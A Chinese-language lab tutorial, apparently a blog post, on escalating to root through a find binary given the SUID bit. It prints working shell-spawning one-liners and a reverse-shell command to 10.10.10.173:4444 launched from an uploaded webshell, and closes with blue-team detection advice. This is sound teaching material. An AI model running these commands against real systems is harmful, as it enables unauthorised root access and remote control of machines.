⚠️ 免责声明
❝本文内容仅供安全研究与授权测试使用。严禁利用本文提及的漏洞进行非法攻击,后果由使用者自行承担。
在 Linux 提权中,SUID 提权是优先级最高的手段之一。而 find 命令因为其广泛存在于各类系统,具备执行外部命令的天然属性,是红队人员眼中提权的重要角色之一。
一、 实验环境搭建
在 Kali 系统中,我们通常作为攻击者。但在这里不同,为了演示,我们在kali中模拟一个find命令配置错误的场景。
1. 模拟受害者环境
假设你已经获得了一个普通用户 www-data 或 kali 的权限。现在我们要给 find 命令人为地加上 SUID 权限。
在目标机(以 root 身份执行一次)进行“投毒”:
# 1. 找到 find 命令的绝对路径which find # 通常在 /usr/bin/find
image-20260126140713776# 2. 赋予其 SUID 权限sudo chmod u+s /usr/bin/find
image-20260126140731640# 3. 验证权限ls -l /usr/bin/find# 你应该看到:-rwsr-xr-x ... (注意那个's')
image-20260126140750605二、 原理解析
1. SUID
当一个文件拥有 SUID 位(如上图的 s),它在运行时不再继承启动者的权限,而是继承文件所有者(Owner)的权限。因为 /usr/bin/find 的所有者通常是 root,所以任何执行它的用户都会临时获得 root 的权限。
2. -exec 参数
find 的设计初衷是寻找文件。为了方便处理搜到的文件,它提供了 -exec 选项: find [路径] -exec [命令] \;
当 find 找到一个文件时,它会启动一个子进程来执行 -exec 后面的命令。由于父进程 find 是以 root 身份运行的,它派生出的子进程(如 /bin/sh)同样会继承这个 root 权限。
三、 实战提权
假设你现在已经通过反弹 Shell 拿到了目标机的低权限账号。
image-20260126141443762第一步
手动找存在 SUID 权限的文件太慢,我们通常使用以下命令快速查找存在SUID权限的文件:
# 搜索系统中所有带 SUID 权限的文件find / -perm -u=s -type f 2>/dev/null
/:从根目录开始查找文件。
-perm -u=s:筛选存在 SUID 权限的文件。
2>/dev/null:将所有权限不足的报错信息丢进垃圾桶,保持屏幕干净。
image-20260126141537832如图在返回列表中看到了 /usr/bin/find,是find提权的最基础要求
第二步
针对不同的 Linux 发行版,有几种不同的写法:
方案 A:通用型(推荐)
/usr/bin/find . -exec /bin/sh -p \; -quit
.:表示对当前目录进行搜索(只要目录下有一个文件就能触发)。
-p:关键点! 现代 sh (如 bash) 会在检测到有效 UID 与实际 UID 不符时自动丢弃权限。-p 参数强制 Shell 保持 euid (Root 权限)。
-quit:执行完命令立刻退出。如果不加,find 搜到多少文件就会弹回多少个 Shell。
执行效果,如图
image-20260126141850515方案 B:如果find没有 -p 参数
在一些老旧系统上,find如果没有 -p 参数,我们可以使用python:
/usr/bin/find . -exec /usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' \; -quit
利用 Python 的 os.execl 可以更稳定地维持权限状态。如下图显示,可以详细的看到当前用户已经由kali普通用户提权到root最高权限用户了
image-20260126141919708第三步:身份确认
# 进入 shell 后执行whoami
如果你看到 root,说明你已经成功“提权”。
四、无交互环境下的使用
如果你在 WebShell 环境下(如冰蝎、蚁剑),无法直接获得交互式终端,可以利用 find 提权来反弹一个 Root Shell 到你的 Kali 上。
名词解释:
1、非交互式终端,这个终端是指无法通过su切换用户,或者需要你输入账号密码之类的命令,都无法在这个终端中正常执行
假设此时有一个网站,存在文件上传漏洞
image-20260126152514594上传一句话木马
image-20260126152619888再打开蚁剑webshell工具,新建连接
image-20260126152721656进入此会话,在终端中打开,成功通过文件上传漏洞获取到了一个webshell(使用蚁剑webshell管理工具),whoami查看当前用户是kali用户
image-20260126143310449如下图可以明显的看到,在webshell无法直接执行su命令,所以我们怎么通过find,来获取一个交互式的shell呢?让它能正常执行su命令?
image-202601261436385961. 在 攻击机 本机上开启监听:
nc -lvvp 4444
image-202601261508111042. 在 WebShell 中通过 find 执行反弹:
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/10.10.10.173/4444 0>&1' \;
image-20260126150750184这里利用 find 去扫描一个必存在的文件(如 /etc/passwd),从而稳定触发后面的反弹命令。
效果展示:已经成功的能使用su命令,这里我们已经成功通过反弹shell获取到了一个交互式的终端
image-20260126151221522再结合之前的提权操作,完成一个完整的内网提权流程,如下图可以看到我们已经通过webshell反弹过来的shell,成功提权到root权限,完成了整个文件上传漏洞的漏洞利用链
/usr/bin/find . -exec /bin/sh -p \; -quit
image-20260126152059577至此提权结束,下面是一些常见的问题
五、 为什么你的提权会失败?
-exec 语法错误:结尾的 \; 必须有反斜杠,且前面必须有空格。否则会提示你,-quit:command not found即命令不存在
image-20260126154442264没有搜到文件:在一些低版本的linux发行版中,如果你在空目录下执行 find .,它搜不到任何东西,自然不会触发 -exec。解决: 随便 touch 一个文件,或者指向 /etc 目录。而在新版的linux中已经解决了这个问题。
image-20260126154715219当然还有其他的文件,欢迎师傅们在评论区讨论,发表您的观点
六、 防御与检测 (蓝队视角)
权限审计:定期运行 find / -perm -u=s,并与基线对比,是否多了一个文件存在suid权限,如果多出来一个suid文件,那么你的系统很可能已经被黑客或者红队成员入侵。
EDR 策略:监控 find 进程派生 sh、bash 或 python 的异常行为。
最小权限原则:除非绝对必要,否则严禁给具备“命令执行”功能的工具(find, vim, more, less)赋予 SUID 权限。
七、🎁 互动与福利
分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取
上千学习资料+工具哦
22919c6e4ef945aa9a9cbf0f6df4f6ff分享后扫码加我!